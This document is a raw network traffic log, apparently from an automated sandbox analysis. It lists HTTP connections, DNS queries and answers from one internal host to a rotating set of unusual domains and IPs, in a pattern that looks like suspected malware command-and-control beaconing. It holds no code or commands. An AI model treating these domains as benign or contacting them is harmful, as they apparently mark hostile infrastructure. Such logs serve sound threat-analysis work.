Jan 9, 2025 16:57:59.286240101 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.304961920 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.424484015 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:00.424732924 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.434335947 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.553682089 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:00.984829903 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:00.984838963 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:00.985202074 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.986000061 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:00.986129999 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:00.989701033 CET	49886	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:58:01.109142065 CET	80	49886	104.21.32.1	192.168.11.30
Jan 9, 2025 16:58:06.009260893 CET	49887	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:06.181690931 CET	80	49887	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:06.182009935 CET	49887	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:06.199731112 CET	49887	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:06.371983051 CET	80	49887	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:06.392939091 CET	80	49887	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:06.392947912 CET	80	49887	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:06.393138885 CET	49887	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:07.706264019 CET	49887	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:08.724270105 CET	49888	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:08.897089958 CET	80	49888	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:08.897392035 CET	49888	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:08.913022041 CET	49888	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:09.085722923 CET	80	49888	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:09.106559992 CET	80	49888	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:09.106569052 CET	80	49888	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:09.106949091 CET	49888	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:10.424407005 CET	49888	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:11.442183971 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:11.615089893 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.615374088 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:11.627082109 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:11.627146959 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:11.799807072 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.799813986 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.799818993 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.813493967 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.813503981 CET	80	49889	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:11.813837051 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:13.142543077 CET	49889	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.160532951 CET	49890	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.333375931 CET	80	49890	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:14.333734035 CET	49890	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.340969086 CET	49890	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.513257027 CET	80	49890	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:14.524734020 CET	80	49890	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:14.524852991 CET	80	49890	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:14.525214911 CET	49890	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.527540922 CET	49890	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:58:14.699661016 CET	80	49890	199.192.21.169	192.168.11.30
Jan 9, 2025 16:58:27.767081022 CET	49891	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:28.083697081 CET	80	49891	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:28.084108114 CET	49891	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:28.098572969 CET	49891	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:28.415353060 CET	80	49891	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:29.108926058 CET	80	49891	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:29.108936071 CET	80	49891	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:29.109138966 CET	49891	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:29.607569933 CET	49891	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:30.625987053 CET	49892	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:30.934756041 CET	80	49892	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:30.935055017 CET	49892	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:30.949297905 CET	49892	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:31.258060932 CET	80	49892	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:31.945035934 CET	80	49892	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:31.945045948 CET	80	49892	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:31.945382118 CET	49892	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:32.450797081 CET	49892	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:33.468888998 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:33.774108887 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:33.774576902 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:33.787697077 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:33.787744999 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:33.787792921 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:34.093286037 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.093293905 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.093487978 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.093496084 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.814905882 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.814915895 CET	80	49893	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:34.815159082 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:35.293814898 CET	49893	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:36.312019110 CET	49894	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:36.615072012 CET	80	49894	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:36.615343094 CET	49894	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:36.623559952 CET	49894	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:36.926733971 CET	80	49894	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:37.649324894 CET	80	49894	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:37.649333954 CET	80	49894	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:37.649832010 CET	49894	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:37.652072906 CET	49894	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:58:37.954982042 CET	80	49894	47.83.1.90	192.168.11.30
Jan 9, 2025 16:58:42.670670033 CET	49895	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:42.808696032 CET	80	49895	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:42.808993101 CET	49895	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:42.821834087 CET	49895	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:42.958482027 CET	80	49895	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:42.958491087 CET	80	49895	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:42.958755970 CET	49895	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:44.323086977 CET	49895	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:45.341567993 CET	49896	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:45.478743076 CET	80	49896	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:45.479098082 CET	49896	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:45.491806984 CET	49896	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:45.627908945 CET	80	49896	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:45.627918005 CET	80	49896	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:45.628143072 CET	49896	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:46.994410038 CET	49896	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:48.015367985 CET	49897	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:48.153882027 CET	80	49897	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:48.154151917 CET	49897	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:48.166132927 CET	49897	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:48.303515911 CET	80	49897	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:48.303730965 CET	80	49897	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:48.303740978 CET	80	49897	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:48.303956985 CET	49897	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:49.681312084 CET	49897	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:50.699670076 CET	49898	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:50.839082003 CET	80	49898	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:50.839436054 CET	49898	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:50.847191095 CET	49898	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:50.986644030 CET	80	49898	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:50.986653090 CET	80	49898	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:50.987000942 CET	49898	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:50.989255905 CET	49898	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:58:51.125994921 CET	80	49898	13.248.169.48	192.168.11.30
Jan 9, 2025 16:58:55.995098114 CET	49899	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:56.346482038 CET	80	49899	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:56.346822023 CET	49899	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:56.367445946 CET	49899	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:56.718079090 CET	80	49899	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:56.719484091 CET	80	49899	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:56.719491959 CET	80	49899	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:56.719497919 CET	80	49899	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:56.719814062 CET	49899	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:57.882571936 CET	49899	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:58.900482893 CET	49900	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:59.246567965 CET	80	49900	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:59.246988058 CET	49900	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:59.261226892 CET	49900	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:58:59.606832981 CET	80	49900	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:59.607426882 CET	80	49900	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:59.607434988 CET	80	49900	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:59.607441902 CET	80	49900	160.25.166.123	192.168.11.30
Jan 9, 2025 16:58:59.607669115 CET	49900	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:00.772512913 CET	49900	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:01.791659117 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:02.136248112 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.136708975 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:02.153439999 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:02.153476000 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:02.497852087 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.497859955 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.497864962 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.498395920 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.498403072 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.498541117 CET	80	49901	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:02.498648882 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:02.498728991 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:03.662564993 CET	49901	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:04.680874109 CET	49902	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:05.037100077 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:05.037357092 CET	49902	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:05.045717001 CET	49902	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:05.401475906 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:05.402046919 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:05.402055979 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:05.402066946 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:05.402450085 CET	49902	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:05.405189037 CET	49902	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:59:05.760760069 CET	80	49902	160.25.166.123	192.168.11.30
Jan 9, 2025 16:59:10.413790941 CET	49903	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:10.532928944 CET	80	49903	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:10.533121109 CET	49903	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:10.546438932 CET	49903	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:10.665621996 CET	80	49903	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:10.674277067 CET	80	49903	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:10.674307108 CET	80	49903	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:10.674523115 CET	49903	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:12.051306009 CET	49903	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:13.070178986 CET	49904	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:13.189215899 CET	80	49904	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:13.189428091 CET	49904	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:13.202044964 CET	49904	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:13.320997953 CET	80	49904	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:13.329472065 CET	80	49904	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:13.329734087 CET	80	49904	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:13.329885006 CET	49904	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:14.706902027 CET	49904	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:15.725006104 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:15.844558001 CET	80	49905	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:15.844764948 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:15.861751080 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:15.861814022 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:15.981417894 CET	80	49905	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:15.981677055 CET	80	49905	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:15.987556934 CET	80	49905	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:15.987782001 CET	80	49905	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:15.987992048 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:17.378173113 CET	49905	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.396419048 CET	49906	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.515754938 CET	80	49906	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:18.515959978 CET	49906	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.525099039 CET	49906	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.644506931 CET	80	49906	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:18.657053947 CET	80	49906	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:18.658138990 CET	80	49906	172.67.132.227	192.168.11.30
Jan 9, 2025 16:59:18.658329010 CET	49906	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.660294056 CET	49906	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:59:18.779665947 CET	80	49906	172.67.132.227	192.168.11.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 16:53:51.084579945 CET	59565	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:53:51.543076992 CET	53	59565	1.1.1.1	192.168.11.30
Jan 9, 2025 16:54:07.090415001 CET	63896	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:54:07.410825014 CET	53	63896	1.1.1.1	192.168.11.30
Jan 9, 2025 16:54:20.775130987 CET	52211	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:54:20.903702974 CET	53	52211	1.1.1.1	192.168.11.30
Jan 9, 2025 16:54:34.572192907 CET	50897	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:54:34.742608070 CET	53	50897	1.1.1.1	192.168.11.30
Jan 9, 2025 16:54:48.269037008 CET	52490	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:54:48.452955008 CET	53	52490	1.1.1.1	192.168.11.30
Jan 9, 2025 16:54:56.517262936 CET	59266	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:54:56.806725979 CET	53	59266	1.1.1.1	192.168.11.30
Jan 9, 2025 16:55:11.670242071 CET	53398	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:55:11.856961966 CET	53	53398	1.1.1.1	192.168.11.30
Jan 9, 2025 16:55:27.182508945 CET	49689	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:55:27.831831932 CET	53	49689	1.1.1.1	192.168.11.30
Jan 9, 2025 16:55:42.241483927 CET	58475	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:55:42.407191992 CET	53	58475	1.1.1.1	192.168.11.30
Jan 9, 2025 16:55:55.660751104 CET	61435	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:55:55.782820940 CET	53	61435	1.1.1.1	192.168.11.30
Jan 9, 2025 16:56:03.846411943 CET	64555	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:56:04.425796032 CET	53	64555	1.1.1.1	192.168.11.30
Jan 9, 2025 16:56:18.218008041 CET	56097	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:56:18.806066036 CET	53	56097	1.1.1.1	192.168.11.30
Jan 9, 2025 16:56:33.151802063 CET	61554	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:56:33.398082018 CET	53	61554	1.1.1.1	192.168.11.30
Jan 9, 2025 16:56:47.727611065 CET	56280	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:56:47.992480993 CET	53	56280	1.1.1.1	192.168.11.30
Jan 9, 2025 16:57:01.598675013 CET	57226	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:57:01.725621939 CET	53	57226	1.1.1.1	192.168.11.30
Jan 9, 2025 16:57:15.252139091 CET	62390	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:57:15.440694094 CET	53	62390	1.1.1.1	192.168.11.30
Jan 9, 2025 16:58:19.533066988 CET	55239	53	192.168.11.30	1.1.1.1
Jan 9, 2025 16:58:19.707988024 CET	53	55239	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 16:53:51.084579945 CET	192.168.11.30	1.1.1.1	0x78af	Standard query (0)	www.milp.store	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.090415001 CET	192.168.11.30	1.1.1.1	0x3e99	Standard query (0)	www.chiro.live	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.775130987 CET	192.168.11.30	1.1.1.1	0xffb2	Standard query (0)	www.mzkd6gp5.top	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:34.572192907 CET	192.168.11.30	1.1.1.1	0xe590	Standard query (0)	www.bokus.site	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:48.269037008 CET	192.168.11.30	1.1.1.1	0xf690	Standard query (0)	www.elettrocoltura.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:56.517262936 CET	192.168.11.30	1.1.1.1	0x2820	Standard query (0)	www.givvjn.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:11.670242071 CET	192.168.11.30	1.1.1.1	0x3a90	Standard query (0)	www.bonheur.tech	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:27.182508945 CET	192.168.11.30	1.1.1.1	0x19ef	Standard query (0)	www.rpa.asia	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:42.241483927 CET	192.168.11.30	1.1.1.1	0x32bc	Standard query (0)	www.ogbos88.cyou	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:55.660751104 CET	192.168.11.30	1.1.1.1	0x7418	Standard query (0)	www.smartbath.shop	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:03.846411943 CET	192.168.11.30	1.1.1.1	0xf15c	Standard query (0)	www.100millionjobs.africa	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:18.218008041 CET	192.168.11.30	1.1.1.1	0x2cbd	Standard query (0)	www.mirenzhibo.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:33.151802063 CET	192.168.11.30	1.1.1.1	0xe71e	Standard query (0)	www.nextlevel.finance	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:47.727611065 CET	192.168.11.30	1.1.1.1	0xd263	Standard query (0)	www.furrcali.xyz	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.598675013 CET	192.168.11.30	1.1.1.1	0xaaf	Standard query (0)	www.buyspeechst.shop	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:15.252139091 CET	192.168.11.30	1.1.1.1	0xd22e	Standard query (0)	www.lejgnu.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:58:19.533066988 CET	192.168.11.30	1.1.1.1	0x316e	Standard query (0)	www.elettrocoltura.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 16:53:51.543076992 CET	1.1.1.1	192.168.11.30	0x78af	No error (0)	www.milp.store		194.9.94.85	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:53:51.543076992 CET	1.1.1.1	192.168.11.30	0x78af	No error (0)	www.milp.store		194.9.94.86	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.33.2.79	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.56.79.23	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		72.14.178.174	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		96.126.123.244	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		173.255.194.134	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.79.19.196	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.33.30.197	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		198.58.118.167	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.33.18.44	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.33.23.183	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		72.14.185.43	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:07.410825014 CET	1.1.1.1	192.168.11.30	0x3e99	No error (0)	www.chiro.live		45.33.20.235	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:20.903702974 CET	1.1.1.1	192.168.11.30	0xffb2	No error (0)	www.mzkd6gp5.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:34.742608070 CET	1.1.1.1	192.168.11.30	0xe590	No error (0)	www.bokus.site		199.192.21.169	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:48.452955008 CET	1.1.1.1	192.168.11.30	0xf690	Name error (3)	www.elettrocoltura.info	none	none	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:54:56.806725979 CET	1.1.1.1	192.168.11.30	0x2820	No error (0)	www.givvjn.info		47.83.1.90	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:11.856961966 CET	1.1.1.1	192.168.11.30	0x3a90	No error (0)	www.bonheur.tech		13.248.169.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:11.856961966 CET	1.1.1.1	192.168.11.30	0x3a90	No error (0)	www.bonheur.tech		76.223.54.146	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:27.831831932 CET	1.1.1.1	192.168.11.30	0x19ef	No error (0)	www.rpa.asia		160.25.166.123	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:42.407191992 CET	1.1.1.1	192.168.11.30	0x32bc	No error (0)	www.ogbos88.cyou		172.67.132.227	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:42.407191992 CET	1.1.1.1	192.168.11.30	0x32bc	No error (0)	www.ogbos88.cyou		104.21.13.141	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:55:55.782820940 CET	1.1.1.1	192.168.11.30	0x7418	Name error (3)	www.smartbath.shop	none	none	A (IP address)	IN (0x0001)	false
